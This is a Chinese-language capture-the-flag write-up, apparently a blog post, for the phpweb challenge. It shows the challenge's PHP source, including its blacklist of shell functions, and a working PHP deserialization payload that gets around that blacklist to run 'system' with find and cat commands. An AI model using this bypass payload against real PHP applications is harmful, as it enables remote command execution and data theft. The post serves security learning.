BUGSHOW [网鼎杯 2020 朱雀组]phpweb 序列化绕过执行
打开靶机
看到有报错,抓个包试试
(捏嘛上来一个孙笑川)
明显是传值然后func是函数名,p是内容,构造一下eval(<?php phpinfo()?>)试试,被过滤
那就试试highlight_file(),读到了网页源码
<?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
看到Class就应该本能的想到序列化了,该过滤的都过滤的差不多了,试试序列化绕过
<?php class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; } $a = new Test(); $a->func = "system"; $a->p = "find / -name flag*"; echo serialize($a); ?>
注意,find需要指定一个目录,我们不知道flag文件在哪就应该直接在 / 目录里面找,find / -name flag*
序列化后应该反序列化回去,所以payload为
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
不出意外就是这了,用cat /tmp/flag.....重复一下
得到了flag
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15181198.html